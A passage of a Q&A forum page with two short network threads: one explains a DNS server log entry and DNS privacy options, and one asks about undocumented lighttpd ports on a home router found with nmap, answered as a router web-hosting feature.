162.158.237.107#35024 (example.com): query: example.com IN A -EDC (199.43.133.53)

162.158.237.161 is the IP address of the recursive server from CLOUDFLARENET 162.158.0.0/15.
162.158.237.107 is another IP address from the same netblock belonging to Cloudflare, Inc.
199.43.135.53 and 199.43.133.53 are just the IP address for the authoritative server self i.e. a.iana-servers.net. and b.iana-servers.net. and doesn't reveal anything: it's just the BIND named log format.

Now, only Cloudflare (or your ISP or company etc. whose resolver you are using) and everyone who was able to sniff the UDP packets between you and the resolver knows that you were looking for example.com. This risk is another story, but to mitigate it you may:

Use a resolver you trust and is near you, but also has plenty of users.
Encrypt your communication with a trustworthy resolver using DNS over HTTPS or DNS over TLS.


How to investigate open firewall ports further I scanned my friend's firewall (Zyxel SBG3500-N) with NMAP and I found some undocumented ports open with services:

  8888 tcp open http  syn-ack lighttpd  1.4.34

  18443 tcp open http syn-ack lighttpd  1.4.34

I could not find any info why those should be open and browser just returns 404 - Not Found error. How could I investigate more those ports? Do you know any suitable fuzzing tool for this purpose?

This is something used by routers: 'lighttpd'

A user can enable this in the router configuration page and add files to a designated folder or folders (likely the ones you were able to find). There they can store the files to run a simple webpage which can be accessed remotely just like any other website.

some info here:
https://wiki.openwrt.org/doc/howto/http.lighttpd